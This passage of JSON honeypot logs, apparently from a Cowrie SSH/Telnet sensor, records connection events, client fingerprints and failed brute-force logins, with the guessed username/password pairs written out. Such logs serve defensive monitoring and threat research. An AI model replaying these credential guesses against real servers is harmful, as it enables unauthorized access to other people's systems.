gs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:17:57.469368Z","src_ip":"189.113.47.155","session":"fe6f86a9ce10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123456","message":"login attempt [root/Root@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:17:57.964880Z","src_ip":"189.113.47.155","session":"fe6f86a9ce10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.219","src_port":42912,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a0981a0236f","protocol":"ssh","message":"New connection: 101.36.124.219:42912 (159.203.135.109:22) [session: 4a0981a0236f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:17:58.970859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:17:58.975739Z","src_ip":"101.36.124.219","session":"4a0981a0236f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:17:59.082835Z","src_ip":"189.113.47.155","session":"fe6f86a9ce10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:17:59.192509Z","src_ip":"101.36.124.219","session":"4a0981a0236f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:18:00.091021Z","src_ip":"101.36.124.219","session":"4a0981a0236f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:18:01.311323Z","src_ip":"101.36.124.219","session":"4a0981a0236f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":48740,"dst_ip":"10.17.0.5","dst_port":22,"session":"00026dca0621","protocol":"ssh","message":"New connection: 8.218.166.49:48740 (10.17.0.5:22) [session: 00026dca0621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:18:02.220202Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.114.226.196","src_port":34016,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f1cd432fb4a","protocol":"telnet","message":"New connection: 171.114.226.196:34016 (159.203.135.109:23) [session: 1f1cd432fb4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:18:20.228113Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":50442,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f3bb0d169f7","protocol":"ssh","message":"New connection: 8.218.166.49:50442 (10.17.0.5:22) [session: 3f3bb0d169f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:18:20.878118Z"}
{"eventid":"cowrie.session.closed","duration":40.37046480178833,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:18:24.956368Z","src_ip":"142.93.69.27","session":"47f73a7d21c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.456478595733643,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:18:33.684477Z","src_ip":"171.114.226.196","session":"1f1cd432fb4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":52094,"dst_ip":"10.17.0.5","dst_port":22,"session":"b66f237acaa9","protocol":"ssh","message":"New connection: 8.218.166.49:52094 (10.17.0.5:22) [session: b66f237acaa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:18:34.844683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:18:34.887418Z","src_ip":"8.218.166.49","session":"b66f237acaa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.167.237.191","src_port":39694,"dst_ip":"159.203.135.109","dst_port":22,"session":"856e6ce3cc3b","protocol":"ssh","message":"New connection: 190.167.237.191:39694 (159.203.135.109:22) [session: 856e6ce3cc3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:18:35.736410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:18:35.741062Z","src_ip":"190.167.237.191","session":"856e6ce3cc3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:18:35.798069Z","src_ip":"190.167.237.191","session":"856e6ce3cc3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:18:36.054806Z","src_ip":"190.167.237.191","session":"856e6ce3cc3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:18:37.113384Z","src_ip":"190.167.237.191","session":"856e6ce3cc3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:18:40.613918Z","src_ip":"8.218.166.49","session":"b66f237acaa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":59038,"dst_ip":"159.203.135.109","dst_port":22,"session":"87ac4479660d","protocol":"ssh","message":"New connection: 124.155.125.131:59038 (159.203.135.109:22) [session: 87ac4479660d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:18:44.468311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:18:44.471784Z","src_ip":"124.155.125.131","session":"87ac4479660d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:18:44.651648Z","src_ip":"124.155.125.131","session":"87ac4479660d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"time","message":"login attempt [root/time] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:18:45.388319Z","src_ip":"124.155.125.131","session":"87ac4479660d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:18:46.570782Z","src_ip":"124.155.125.131","session":"87ac4479660d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:18:52.171163Z","src_ip":"8.218.166.49","session":"b66f237acaa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.4","message":"Connection lost after 24.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:18:59.247283Z","src_ip":"8.218.166.49","session":"b66f237acaa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:19:04.999510Z","src_ip":"8.218.166.49","session":"14493c1cd979","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:19:13.193658Z","src_ip":"8.218.166.49","session":"5a1c7c283bd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":57338,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad048f361538","protocol":"ssh","message":"New connection: 88.147.30.59:57338 (159.203.135.109:22) [session: ad048f361538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:19:20.146575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:19:20.155876Z","src_ip":"88.147.30.59","session":"ad048f361538","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:19:20.273037Z","src_ip":"88.147.30.59","session":"ad048f361538","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pic","message":"login attempt [root/pic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:19:20.771589Z","src_ip":"88.147.30.59","session":"ad048f361538","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:19:21.387054Z","src_ip":"8.218.166.49","session":"00026dca0621","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:19:21.590369Z","src_ip":"8.218.166.49","session":"00026dca0621","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:19:21.891633Z","src_ip":"88.147.30.59","session":"ad048f361538","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.113.47.155","src_port":43924,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca16dbaec1e6","protocol":"ssh","message":"New connection: 189.113.47.155:43924 (159.203.135.109:22) [session: ca16dbaec1e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:19:38.899699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:19:38.904513Z","src_ip":"189.113.47.155","session":"ca16dbaec1e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 